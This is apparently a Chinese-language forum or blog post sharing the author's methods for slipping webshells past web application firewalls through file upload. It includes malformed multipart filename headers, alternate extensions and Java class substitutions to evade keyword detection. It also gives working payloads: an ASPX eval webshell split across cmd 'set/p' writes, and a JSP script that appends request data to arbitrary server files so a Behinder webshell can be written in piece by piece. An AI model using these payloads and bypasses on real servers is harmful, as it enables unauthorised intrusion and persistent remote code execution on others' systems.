在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。
这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。
下面总结下我经常遇到的情况:
很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。
比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。
这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的
(1) 删掉content-type
(2) 构造多个filename
比如这样:
又或者这样:
(3) 把filename参数变畸形
正常的数据包,是这样:
Content-Disposition: form-data; name="file"; filename="100x100.jsp"
waf拦截了:
把filename变成这样(后面多了个双引号):
Content-Disposition: form-data; name="file"; filename="100x100.jsp""
可以看到waf直接拉胯了:
一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?
“上古时期”经常用这个绕waf什么的,现在估计不太行了。
利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。
这个是我用得比较多的方法。
比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类来实现相同的功能。
参考:
https://www.cnblogs.com/sevck/p/7069251.html
https://github.com/huyuanzhi2/fuck_waf_jspx
亲测可以绕过YxlinkWAF
又比如,fileOutputStream被拦截时:
我可以用RandomAccessFile来替代:
这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。
当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等:
然后利用写文件或者cmdshell来写入shell,来达到我们的目的。
比如windows cmd下不换行输入来拆分eval:
>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>
又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。
先将我们的冰歇shell.jsp拆开:
然后利用之前绕过waf上传的写文件脚本:
<%@ page import="java.io.*" %> <% RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw"); long fileLength = randomFile.length(); randomFile.seek(fileLength); randomFile.write(request.getParameter("c").getBytes()); %> 参数 f=/shell.jsp&c=
结合burp的intruder把冰歇马给写进去:
waf,真是个让人头疼的东西。